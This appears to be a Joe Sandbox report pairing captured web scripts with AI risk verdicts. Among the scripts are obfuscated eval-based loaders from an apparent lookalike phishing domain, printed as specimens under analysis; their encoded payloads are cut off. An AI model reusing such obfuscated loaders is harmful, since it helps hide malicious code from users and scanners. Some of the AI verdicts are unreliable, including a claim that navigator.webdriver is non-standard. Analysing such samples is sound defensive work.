l.replace(re_btou,cb_btou)},cb_decode=function(l){var n=l.length,t=n%4,u=(n>0?b64tab[l.charAt(0)]<<18:0)\|(n>1?b64tab[l.charAt(1)]<<12:0)\|(n>2?b64tab[l.charAt(2)]<<6:0)\|(n>3?b64tab[l.charAt(3)]:0),e=[fromCharCode(u>>>16),fromCharCode(u>>>8&255),fromCharCode(255&u)];return e.length-=[0,0,2,1][t],e.join("")},_atob=global.atob?function(l){return global.atob(l)}:function(l){return l.replace(/\S{1,4}/g,cb_decode)},atob=function(l){return _atob(String(l).replace(/[^A-Za-z0-9\+\/]/g,""))},_decode=buffer?buffer.from&&Uint8Array&&buffer.from!==Uint8Array.from?function(l){return(l.constructor===buffer.constructor?l:buffer.from(l,"base64")).toString()}:function(l){return(l.constructor===buffer.constructor?l:new buffer(l,"base64")).toString()}:function(l){return btou(_atob(l))},decode=function(l){return _decode(String(l).replace(/[-_]/g,function(l){return"-"==l?"+":"/"}).replace(/[^A-Za-z0-9\+\/]/g,""))},noConflict=function(){var l=global.Base64;return global.Base64=_Base64,l};if(global.Base64={VERSION:version,atob:atob,btoa:btoa,fromBase64:decode,toBase64:encode,utob:utob,encode:encode,encodeURI:encodeURI,btou:btou,decode:decode,noConflict:noConflict,__buffer__:buffer},"function"==typeof Object.defineProperty){var noEnum=function(l){return{value:l,enumerable:!1,writable:!0,configurable:!0}};global.Base64.extendString=function(){Object.defineProperty(String.prototype,"fromBase64",noEnum(function(){return decode(this)})),Object.defineProperty(String.prototype,"toBase64",noEnum(function(l){return encode(this,l)})),Object.defineProperty(String.prototype,"toBase64URI",noEnum(function(){return encode(this,!0)}))}}return global.Meteor&&(Ba
URL: https://m365.eu.vadesecure.com/safeproxy/runtime.3... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several moderate-risk indicators, including external data transmission, fallback domains, and aggressive DOM manipulation. While the intent is not entirely clear, the use of obfuscated code and multiple fallback domains raises some concerns. Further investigation may be necessary to determine the full scope and purpose of this script." }
!function(e){function r(r){for(var n,i,a=r[0],f=r[1],c=r[2],p=0,s=[];p<a.length;p++)i=a[p],o[i]&&s.push(o[i][0]),o[i]=0;for(n in f)Object.prototype.hasOwnProperty.call(f,n)&&(e[n]=f[n]);for(l&&l(r);s.length;)s.shift()();return u.push.apply(u,c\|\|[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,a=1;a<t.length;a++){var f=t[a];0!==o[f]&&(n=!1)}n&&(u.splice(r--,1),e=i(i.s=t[0]))}return e}var n={},o={0:0},u=[];function i(r){if(n[r])return n[r].exports;var t=n[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,i),t.l=!0,t.exports}i.e=function(e){var r=[],t=o[e];if(0!==t)if(t)r.push(t[2]);else{var n=new Promise(function(r,n){t=o[e]=[r,n]});r.push(t[2]=n);var u,a=document.createElement("script");a.charset="utf-8",a.timeout=120,i.nc&&a.setAttribute("nonce",i.nc),a.src=function(e){return i.p+""+({}[e]\|\|e)+"."+{4:"efcb4f36899adf4857d1",5:"1f58102d1016fa6a58a6"}[e]+".js"}(e),u=function(r){a.onerror=a.onload=null,clearTimeout(f);var t=o[e];if(0!==t){if(t){var n=r&&("load"===r.type?"missing":r.type),u=r&&r.target&&r.target.src,i=new Error("Loading chunk "+e+" failed.\n("+n+": "+u+")");i.type=n,i.request=u,t[1](i)}o[e]=void 0}};var f=setTimeout(function(){u({type:"timeout",target:a})},12e4);a.onerror=a.onload=u,document.head.appendChild(a)}return Promise.all(r)},i.m=e,i.c=n,i.d=function(e,r,t){i.o(e,r)\|\|Object.defineProperty(e,r,{enumerable:!0,get:t})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,r){if(1&r&&(e=i(e)),8&r)return e;if(4&r&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var n in e)i.d(t,n,(function(r){return e[r]}).bind(null,n));return t},i.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(r,"a",r),r},i.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},i.p="",i.oe=function(e){throw console.error(e),e};var a=window.webpackJsonp=window.webpackJsonp\|\|[],f=a.push.bind(a);a.push=r,a=a.slice();for(var c=0;c<a.length;c++)r(a[c]);var l=f;t()}([]);
URL: https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w Model: Joe Sandbox AI	{ "brands": [ "Hornetsecurity", "Vade" ] }

URL: https://ar24consultation.wetransssecudoc.com/MXq8H... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. While the intent of the script is not entirely clear, the combination of these factors suggests a medium to high risk level that requires further investigation." }
var _0xc68e=["","split","0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/","slice","indexOf","","",".","pow","reduce","reverse","0"];function _0xe99c(d,e,f){var g=_0xc68e[2][_0xc68e[1]](_0xc68e[0]);var h=g[_0xc68e[3]](0,e);var i=g[_0xc68e[3]](0,f);var j=d[_0xc68e[1]](_0xc68e[0])[_0xc68e[10]]()[_0xc68e[9]](function(a,b,c){if(h[_0xc68e[4]](b)!==-1)return a+=h[_0xc68e[4]](b)*(Math[_0xc68e[8]](e,c))},0);var k=_0xc68e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k\|\|_0xc68e[11]}eval(function(h,u,n,t,e,r){r="";for(var i=0,len=h.length;i<len;i++){var s="";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],"g"),j);r+=String.fromCharCode(_0xe99c(s,e,10)-t)}return decodeURIComponent(escape(r))}("kkykXkkykyykXkkkkyyyXkkkyyykXkkyykkyXkkkykkkXkkykkyyXkkkyykyXkkkyyykXkyyykkXkkykykyXkkykyyyXkkkykkkXkkykyykXkykyykkXkykyykkXkkykkyyXkkyykkyXkkyykyyXkkkykkyXkkkykkyXkkkyykyXkykykkXkykkyyXkkkkkkyXkkykXkkykyykXkkkkyyyXkkkyyykXkkyykkyXkkkykkkXkkykkyyXkkkyykyXkkkyyykXkyyykkXkkkkykkXkkkyykXkkykkkXkyyykyyXkkyykkkXkkyykkkXkykykkXkkkykkkXkykkkkXkkykyyyXkykkyyXkkkkkkyXkkkykkkXkyyyyyyXkykkkkyXkkkykkkXkykkkkyXkkyykkXkkyyyyyXkyyyyykXkyyyyykXkyyyyykXkkykyyXkkkyykXkykkkkXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykyykXkkkykkkXkykkkkyXkkyykkXkkyyyyyXkykkkkXkkkykkkXkykkkkyXkkykyyXkkyyyyyXkyyyyykXkyyyyykXkyyyyykXkkykyyXkkkyykXkykkkkXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykyykXkkkykkkXkykkkkyXkkykyyXkkyyyyyXkkyyyyyXkykkkkXkkykyyyXkyyyyyyXkykkkkyXkkykyyyXkykkkkyXkkyykkXkkyyyyyXkyyyyykXkyyyyykXkyyyyykXkkykyyXkkkyykXkykkkkXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykyykXkkykyyyXkykkkkyXkkyykkXkkyyyyyXkykkkkXkkykyyyXkykkkkyXkkykyyXkkyyyyyXkyyyyykXkyyyyykXkyyyyykXkkykyyXkkkyykXkykkkkXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykyykXkkykyyyXkykkkkyXkkykyyXkkyyyyyXkkyyyyyXkkkkkyXkkkkyykXkkyykyyXkkkykykXkyyykkXkyykkkXkyyyyyyXkykkkkyXkkyykkXkykkkkXkkyykkXkykkkkXkkyykkXkykkkkXkkyykkXkkyyyyyXkkkkkyXkkkykykXkkykyyyXkkkykkkXkkkkyyyXkkkykykXkkkyyykXkyyykkXkyykkkXkykkkkyXkkykkyXkkyyyyyXkykkkyXkyyyyyyXkkkykkkXkykkkkyXkkykkyXkkyyyyyXkykkkyXkkykyyyXkykkkkyXkkykkyXkkyyyyyXkykkkkXkyykkkXkykkkkyXkkykykXkkyyyyyXkykkkyXkyyyyyyXkyykkkXkykkkkyXkkykkyXkkyyyyyXkyyyyykXkyyyyykXkyyyyykXkkykyyXkkkyykXkykkkkXkyykkkXkykkkkyXkkykkyXkkyyyyyXkykyykXkyyyyyyXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykkkkXkyykkkXkykkkkyXkkykykXkkyyyyyXkykkkyXkyyyyyyXkkkykkkXkykkkkyXkkykykXkkyyyyyXkykkkyXkkykyyyXkykkkkyXkkykykXkkyyyyyXkykkkkXkyykkkXkykkkkyXkkykyyXkkyyyyyXkykkkyXkyyyyyyXkyykkkXkykkkkyXkkykykXkkyyyyyXkyyyyykXkyyyyykXkyyyyykXkkykyyXkkkyykXkykkkkXkyykkkXkykkkkyXkkykykXkkyyyyyXkykyykXkyyyyyyXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykkkkXkyykkkXkykkkkyXkkykyyXkkyyyyyXkykkkyXkyyyyyyXkkkykkkXkykkkkyXkkykyyXkkyyyyyXkykkkyXkkykyyyXkykkkkyXkkykyyXkkyyyyyXkykkkkXkyykkkXkykkkkyXkkyykkXkkyyyyyXkykkkyXkyyyyyyXkyykkkXkykkkkyXkkykyyXkkyyyyyXkyyyyykXkyyyyykXkyyyyykXkkykyyXkkkyykXkykkkkXkyykkkXkykkkkyXkkykyyXkkyyyyyXkykyykXkyyyyyyXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykkkkXkyykkkXkykkkkyXkkyykkXkkyyyyyXkykkkyXkyyyyyyXkkkykkkXkykkkkyXkkyykkXkkyyyyyXkykkkyXkkykyyyXkykkkkyXkkyykkXkkyyyyyXkykkkkXkyykkkXkykkkkyXkkyykkXkkyyyyyXkykyykXkyyyyyyXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykkkkXkykkkkyXkyykkkXkykkkkyXkkyykkXkkyyyyyXkkkkkkXkkkkkkXkkykyyXkkkyykXkkkkkkkXkyykkkXkykkkkyXkkykyyXkkyyyyyXkykkkkXkyykkkXkykkkkyXkkykykXkkyyyyyXkkkkkkXkkkkkkXkkykyyXkkkyykXkkkkkkkXkyykkkXkykkkkyXkkykkyXkkyyyyyXkkyyyyyXkyyyyyyyXkkykyykXkkkkyyyXkkkyyykXkkyykkyXkkkykkkXkkykkyyXkkkyykyXkkkyyykXkyyykkXkkkkykkXkkkyykXkkykkkXkykyyyyXkkkkyyyXkkykkkkXkkkykkkXkkykkyyXkkkyykkXkkykkkkXkkkkkyyXkykykkXkkkykkkXkykkkkXkkykyyyXkykkyyXkkkkkkyXkkkykkkXkyyyyyyXkykkkkyXkkkykkkXkykkkkyXkkyykkXkkyyyyyXkyyyyykXkyyyyykXkyyyyykXkkykyyXkkkyykXkykkkkXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykyykXkkkykkkXkykkkkyXkkyykkXkkyyyyyXkykkkkXkkkykkkXkykkkkyXkkykyyXkkyyyyyXkyyyyykXkyyyyykXkyyyyykXkkykyyXkkkyykXkykkkkXkkkyykXkkkyyyXkkkyyyXkkykkyXkkkyyyXkykyykXkkkykkkXkykkkkyXkkykyyXkkyyyyyXkkyyyyyXkykkkkXkkykyyyXkyyyyyyXkykkkkyXkkykyyyXkykkkkyXkkyykkXkkyyyyyXkyyyyykXkyyyyykXkyy
URL: https://ar24consultation.wetransssecudoc.com/MXq8H... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. While the intent of the script is not entirely clear, the combination of these factors suggests a medium to high risk level that requires further investigation." }
var _0xc95e=["","split","0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/","slice","indexOf","","",".","pow","reduce","reverse","0"];function _0xe48c(d,e,f){var g=_0xc95e[2][_0xc95e[1]](_0xc95e[0]);var h=g[_0xc95e[3]](0,e);var i=g[_0xc95e[3]](0,f);var j=d[_0xc95e[1]](_0xc95e[0])[_0xc95e[10]]()[_0xc95e[9]](function(a,b,c){if(h[_0xc95e[4]](b)!==-1)return a+=h[_0xc95e[4]](b)*(Math[_0xc95e[8]](e,c))},0);var k=_0xc95e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k\|\|_0xc95e[11]}eval(function(h,u,n,t,e,r){r="";for(var i=0,len=h.length;i<len;i++){var s="";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],"g"),j);r+=String.fromCharCode(_0xe48c(s,e,10)-t)}return decodeURIComponent(escape(r))}("KForKKcrKtorVKKrKFxrKtKrVoqrKtVrKForKForKKcrKKqrKtorVqcrKqqrKForKKFrKtorVqtrVtKrVForKFFrKFxrKttrKFcrVqtrKFxrKKFrKForKtqrKKcrVForKKqrKFxrVqtrVFcrVtFrVForKKqrKFxrKFxrVqtrVFcrVtFrVForKtqrKFcrKForVqtrVFcrVtFrVForKFqrKKtrKForKFcrKFKrVqtrVtKrKqcrVqqrctrKForKKcrKtorVKKrKtqrKKqrVqcrVtKrVqqrctrKForKKcrKtorVKKrKttrKtqrKKqrVqcrVtFrVqqrctrKFxrKtcrKtxrKKqrKtorKFFrKtVrKtxrVKKrKttrKKorVFKrKtqrVqcrVtFrVFFrKqqrctrKtqrKKqrVFqrVqcrKtqrVqqrctrKFFrKFxrVFKrKtqrKKqrVoxrVqcrKttrKtqrKKqrVFFrKqqrVKKrKtqrVoorKKFrKtorKKFrVFKrVFFrVqqrVKKrKqcrctrKqcrctrKFxrKtcrKtxrKKqrKtorKFFrKtVrKtxrVKKrKqKrKttrKtorKttrVFKrKtqrVFFrKqqrctrKttrKKcrKtorKtcrKttrKtxrVKKrKVqrVtxrVtxrVtxrKtqrKVcrVtxrKttrKKcrKqxrKKcrKttrKtqrKKcrVFKrVFFrVtxrKFtrKtVrKFFrKtxrVFKrVKtrVKtrVFFrVqqrctrKqcrctrKFxrKtcrKtxrKKqrKtorKFFrKtVrKtxrVKKrKqKrKttrKtorVtcrVFKrKtqrKtorKttrVFFrVKKrKqqrVKKrKqxrKKFrKttrVKKrKtqrVKKrVqcrVKKrKVqrKVcrVqqrVKKrKFxrKtVrKttrVKKrVFKrKFFrVKKrVqcrVKKrVtKrVqqrVKKrKFFrVKKrVqorVKKrKtqrKtorKttrVtxrKForKKcrKtxrKFVrKtorKFKrVqqrVKKrKFFrVKKrVFqrVFqrVFFrVKKrKqqrVKKrKFFrKKorKqKrVKKrVqcrVKKrKtqrKtorKttrVtxrKKqrKFKrKKFrKttrVoqrKtVrKKorKKcrVoFrKtorVFKrKFFrVFFrVqqrVKKrKFFrKFxrVKKrVFKrVFKrKFFrKKorKqKrVKKrVoxrVqcrVKKrVtorVqKrVFFrVKKrVFxrVFxrVKKrVFKrKFFrKKorKqKrVKKrVqorVqcrVKKrVtcrVqVrVFFrVFFrVKKrKqqrVKKrKFFrKFxrVKKrVFKrKFFrKKorKqKrVKKrVqorVqcrVKKrVtcrVttrVFFrVKKrKqqrVKKrKtqrKVqrKFFrKVcrVKKrVqcrVKKrKxqrKtorKttrKFFrKtxrKFVrVtxrKFxrKttrKtVrKFcrVoqrKFKrKKFrKttrVoqrKtVrKKorKKcrVFKrVFKrVFKrKFFrKKorKqKrVKKrVFqrVKKrVtcrVFFrVFFrVFFrVqqrVKKrKqcrVKKrKKcrKForKtqrKKcrVKKrKqqrVKKrKtqrKVqrKFFrKVcrVKKrVqcrVKKrKxqrKtorKttrKFFrKtxrKFVrVtxrKFxrKttrKtVrKFcrVoqrKFKrKKFrKttrVoqrKtVrKKorKKcrVFKrVFKrVFKrKFFrKKorKqKrVKKrVFcrVKKrVtcrVFFrVFFrVFFrVqqrVKKrKqcrVKKrKqcrVKKrKKcrKForKtqrKKcrVKKrKqqrVKKrKtqrKVqrKFFrKVcrVKKrVqcrVKKrKxqrKtorKttrKFFrKtxrKFVrVtxrKFxrKttrKtVrKFcrVoqrKFKrKKFrKttrVoqrKtVrKKorKKcrVFKrKFFrKKorKqKrVFFrVqqrVKKrKqcrVKKrKqcrVKKrKttrKKcrKtorKtcrKttrKtxrVKKrKtqrVtxrKFtrKtVrKFFrKtxrVFKrVFVrVFVrVFFrVqqrctrKqcrctrKFxrKtcrKtxrKKqrKtorKFFrKtVrKtxrVKKrKqKrKttrKtorVFKrKtqrKtorKttrVFFrVKKrKqqrVKKrKqxrKKFrKttrVKKrKFFrKtxrKtKrKtcrKtorVKKrVqcrVKKrVFVrVoFrVotrVoqrVoorVocrVcxrVcVrVcKrVcFrVctrVcqrVcorVccrKxxrKxVrKxKrKxFrKxtrKxqrKxorKxcrKVxrKVVrKVKrKVFrKVtrKKFrKKtrKKqrKKorKKcrKFxrKFVrKFKrKFFrKFtrKFqrKForKFcrKtxrKtVrKtKrKtFrKttrKtqrKtorKtcrKqxrKqVrKqKrKqFrKqtrVFKrVFFrKVqrKVcrKqqrKqcrVFVrVqqrVKKrKqxrKKFrKttrVKKrKtVrKtcrKtorKtKrKtcrKtorVKKrVqcrVKKrVFVrKxxrKxVrKxKrKxFrKxtrKxqrKxorKxcrKVxrKVVrKVKrKVFrKVtrVoFrVotrVoqrVoorVocrVcxrVcVrVcKrVcFrVctrVcqrVcorVccrKtxrKtVrKtKrKtFrKttrKtqrKtorKtcrKqxrKqVrKqKrKqFrKqtrKKFrKKtrKKqrKKorKKcrKFxrKFVrKFKrKFFrKFtrKFqrKForKFcrVFFrVFKrKVcrKVqrKqcrKqqrVFVrVqqrVKKrKqxrKKFrKttrVKKrKFFrKtxrKKorKKcrKqKrVKKrVqcrVKKrKqKrVKKrVqcrVoxrVKKrKFFrKtxrKtKrKtcrKtorVtxrKFFrKtxrKKorKKcrKqKrKxVrKFxrVFKrKqKrVFFrVqqrVKKrKqxrKKFrKttrVKKrKtorKttrKKFrKtxrKtqrKForKKFrKtorKKcrVKKrVqcrVKKrKqKrVKKrVqcrVoxrVKKrKFFrKtxrKKorKKcrKqKrVFKrKqKrVFFrVKKrVoxrVKKrVFcrVtFrVKKrVoVrVKKrKtVrKtcrKtorKtKrKtcrKtorKVqrKFFrKtxrKKorKKcrKqKrVFKrKqKrVFFrKVcrVKKrVqtrVKKrKqKrVqqrVKKrKqxrKKFrKttrVKKrKttrKKcrKtqrVqcrKtqrKtorKttrVtxrKtqrKtKrKForKFFrKtorVFKrVFVrVFVrVFFrVtxrKFcrKKFrKtKrVFKrKtorKttrKKFrKtxrKtqrKForKKFrKtorKKcrVFFrVtxrKFtrKtVrKFFrKtxrVFKrVFVrVFVrVFFrVqqrVKKrKqxrKKFrKttrVKKrKttrKtqrVtFrVqcrKqKrKttrKtorKttrVFKrKqKrKt
URL: https://ar24consultation.wetransssecudoc.com/MXq8H... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. It uses obfuscated code, which can be an indicator of malicious intent. Additionally, it performs external data transmission to potentially untrusted domains, which poses a risk of data exfiltration. While the script does not demonstrate clear high-risk indicators like dynamic code execution or redirects to malicious domains, the overall behavior and lack of transparency warrant further investigation. Therefore, a medium risk score of 6 is assigned." }
var _0xc67e=["","split","0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/","slice","indexOf","","",".","pow","reduce","reverse","0"];function _0xe90c(d,e,f){var g=_0xc67e[2][_0xc67e[1]](_0xc67e[0]);var h=g[_0xc67e[3]](0,e);var i=g[_0xc67e[3]](0,f);var j=d[_0xc67e[1]](_0xc67e[0])[_0xc67e[10]]()[_0xc67e[9]](function(a,b,c){if(h[_0xc67e[4]](b)!==-1)return a+=h[_0xc67e[4]](b)*(Math[_0xc67e[8]](e,c))},0);var k=_0xc67e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k\|\|_0xc67e[11]}eval(function(h,u,n,t,e,r){r="";for(var i=0,len=h.length;i<len;i++){var s="";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],"g"),j);r+=String.fromCharCode(_0xe90c(s,e,10)-t)}return decodeURIComponent(escape(r))}("RRJHNfJJHNfNfHRZRHNfJNHNfffHNfNNHNfNfHJfJHRRfHRRNHRZZHJJfHJJNHNfZZHNNfHNffZHRRNHNfJNHJfJHNfJfHNfJNHRZJHNfNRHNfJNHRfRHNfffHNffRHRRNHJfJHZNNHJfJHNfNJHRRNHNfNRHRRJHNfNNHNfNRHNffRHRZJHNfNfHRZRHRRNHJZNHNfNfHNfNNHNfJRHJJfHJJNHZfRHNNfHRRfHRRNHRZZHNfJJHRRZHRRZHRRNHNfNRHZfRHNNfHNffZHRRNHNfJNHJfJHNfJfHNfJNHNfNNHNfNJHRfRHNfffHNffRHRRNHJfJHZNNHJfJHNfNJHRRNHNfNRHRRJHNfNNHNfNRHNffRHRZJHNfNfHRZRHRRNHJZNHNfNfHNfNNHNfJRHJJfHJJNHZfRHJfJHNfffHRRJHJfJHJJfHJJfHNfJfHNfJNHNfNNHNfNJHRfRHNfffHNffRHRRNHJfJHJZfHJfJHNfJfHNfJNHRZJHNfNRHNfJNHRfRHNfffHNffRHRRNHJJNHJfJHZNJHJfJHJRZHJZZHJZZHJJNHJfJHNfZZHJfJHNfJZHRZJHNfNRHJfJHRZZHRZJHNfJfHRRNHZNNHNffZHNfNNHRZRHRZJHNfJNHNfffHNfNNHNfNfHJZNHNfNJHNfNRHNfNNHNfJNHNfNNHRZRHNfNNHNffZHJJZHJfRHRJJHJZJHRJJHJZJHJfRHJJZHNffZHNfNNHRZRHRZJHNfJNHNfffHNfNNHNfNfHJZNHRRRHNfNNHNfJfHNfJNHNfNfHRZJHNffRHRRNHZfRHJfJHNfJZHRZJHNfNRHJfJHNfNRHRZJHNfNfHRRfHZNNHZRJHRZJHNfJNHRRRHJZNHNfNRHRZJHNfNfHRRfHNfNNHNffRHJJfHJJNHJJJHJZRHJZZHJZZHJZZHZfRHNfRHNfJZHRZJHNfNRHJfJHNfJJHNfNRHNffZHZNNHRZZHRZJHNfJfHRRNHJJZHJfRHJZJHNfffHNfNfHRRfHRRNHNfZfHJZNHNfNJHRRRHNfNJHZNZHRZJHNfNfHNfJNHRRfHRZZHRRZHZNNHJfRHJJZHNfNRHRZJHNfNfHRRfHZfRHNfRHNfJRHNfffHNfNfHRRfHNfNNHNfJRHJZNHNffZHNfNNHRZRHRZJHNfJNHNfffHNfNNHNfNfHJZNHNfNRHRRNHNfNJHNffZHRZJHRZRHRRNHJJfHNfJJHNfNRHNffZHJJNHZfRHJfJHNfRfHNNfHNfJfHRRNHNfJNHRfRHNfffHNffRHRRNHNfNNHNfJJHNfJNHJJfHRRfHRRNHRZZHJJRHJfJHJRfHJZZHJZZHJZZHJJNHZfRHNNfHNfRfHNNfHRRfHRRNHRZZHJJfHJJNHZfRHNNfH",23,"fNJZRHWpq",20,5,48))
URL: about:srcdoc... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be checking if the user's browser is running in a headless or automated mode (i.e., using a web driver) and storing this information in the browser's local storage. This behavior is generally considered low-risk, as it is a common practice for web applications to detect and handle automated browser interactions. However, the use of the `navigator.webdriver` property, which is not a standard API, could indicate some level of obfuscation or non-standard practices, warranting a slightly higher risk score." }
localStorage.setItem("wd",navigator.webdriver);
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script appears to be a Cloudflare challenge implementation, which is a common security mechanism used to protect websites from abuse. While it includes some behaviors that could be considered moderate-risk, such as external data transmission and fallback domains, the overall context suggests this is a legitimate security measure rather than a malicious script. Further review may be needed to fully understand the script's purpose and implementation, but it does not appear to be a high-risk threat." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: 'ribf8', chlApiSitekey: '0x4AAAAAAA5QawzcOhnCjppm', chlApiMode: 'non-interactive', chlApiSize: 'normal', chlApiRcV: 'UZ7Btd2p2jHYmD6HaF8aAbZAXsof6o_I0gcoJhsQs5s-1736862682-1.3.1.1-reotf1N4SyjkrBJBregMeZtDaqqblUVnoL1t5UwxypU', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:72000, cK:[], cType: 'chl_api_ni', cRay: '901e19b44da7de98', cH: '8OnRI47Agr_I_5vsTIpze9t_4PEjnlPxmJo6eMmT38k-1736862682-1.1.1.1-dilAwC.Pj_jLUHTnZHfbrZ2ARgIt8veAvSqivn_xJICoftynRKWYbttRVFYHM2HI', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'light', wS: 'normal', md: 'H29wdt7ARaL_RBQ5oWl73Lximwt68QRsjnBpr01QJ0k-1736862682-1.1.1.1-pddfw0CiOvwhnNXG0SB0u1cH_HBiHMkZse1wz3CxaJv0KMc54fF5c2m_qSaox76HJnUibyXV0n07r50_4F2J9WXjGjU5EPf1WHYQmk8EKZ27YPrlAv5htyIhfLKyvMFRPgblPCjzFi7w._Jy7he0BvvYNeNIB3ulBcxz4tKUXjDofcal80WHh6y.Sv8Yn.4rV19VDRIOjSGvH9dE1xKP_mBcuSGG6mVO1H6PEB7fSXWW473gRmEbxHqsmw9yM66jJ0jWSqipXcgii.diwvC8mz8cHyeo4EjjSS82X0A1GM5E8BWZ1lSFbYdAl1N6p.Hh.MQz2kGpRVOXeZljLQRJqWhFFnKrsyRhqVxgOde6lRRQUfkbaV.sJsYjAmCj32r9kAGUu_EAen8KCkhLyU5nAizpNAlHL7tTAhlzRhT99ib4NPOX4Y.EMO1.OTWKzuRGTYNUrJHk8_HhI0o9XSt6ETy9RkHNLPfANCSc0oRH20n0Lm77fcbvmIKtpWI5vdmCHRpjd_A9MjC_3PtWEhQAV1g.X3ZsG6ZkfiaIobZ7ymJvjbvBaq7cHYUZ6AST4zUzmqo.PCX1Df8WBUIsFwV8mIvXE3KiisUHa6oCGg9KS_W8uiN9G3NW_53QpZA3YIF1N1CHXVsm6mfiEC3mELCINlEit243WBiIEXzeNz545gavLfPL5clxRCPHQJ.N9Zc5e4UaC18K4SN28Am4mz7OtxveXOTbDdWoHLbDUBZIqC1DWl.QC1F5j4syYFnUHP_b7em0nXYBIgHpwahSd_rblqVLEqbCcr2jh87JO.6HCrhMOB9pcPuIapbq8nYi8Nna8.sca6IpdjzG.7XpE0cjTQ._1K58AhWKNXOt7VDEE.oaDACrkYlRZUO9M5xFH2WUl7vCoy1iR0o7rhRFxQ7dohUubyFFOxIH3zS_E4KjRRtxoG3X7j6lrn2OosVDzg1.ebjgGCemJ_drjg_uBzikL9Z9FkkOyZw42mmy2z98Saem5SKyVOFW0yvm.1BGpMIGwLxEMKi6sYNZrcUZVSU..S9xgpkLUG6u.CzglrYOttdwJ9wceJ2XGtMKN4z.v9AJ2.CZwYed71TvRR7Vac7MeMpHOk3VfXtn4fkHaKEDUGV3mQXBrRMsDQ26uXxc8aoXooisSDPtJQk3vaVZqRmpYdvtpr42PMj4Pcgr2LVtp6rpsv8VNI11wLzTnH1aHrDT.GaZqrNv.bp6FmxfEeS0ibu_2Cex..IXsEDfTmPKMYVdmamLiq.cFAal5GoP5Su9kYmqGtIOU4pkO9zYJ3HL2BPzELYDMNmknyAYGn18Ll4HGc6TeCQF74AWMjOGul7yGmx3Umqh0lzGgstF5BO9FCMVD0dP3pi2A8XEIg_FaV6TWXCU06nmlKp0j_zLVibtE3YZg_NHu.2R.6j0TEPJJDNArKoNTKH3zFr2CwIJdf_rpzz5pivy2FlpCTF.5MvQQ0UzrWZ7SL4C0Yvr5FIdzUrbIIYLqqqyp3zUssNYMRiGL9Fsq.qFGYbfJJ.CnuabLed9ERWkqIxnWL1gwhqwgf4kCBAJz1Uu5cP0SDqdfF35pepqQp_S7HfLKjzYGh_KblQEqjRtnjwZltYHRZgV3fwUiiFejSoPewhYM.puZ8DnKQ3VXPdU2rT2w4dCj1hb6r0cqtWjTWj9mc9smFMPuGkp3MxMS5fO7p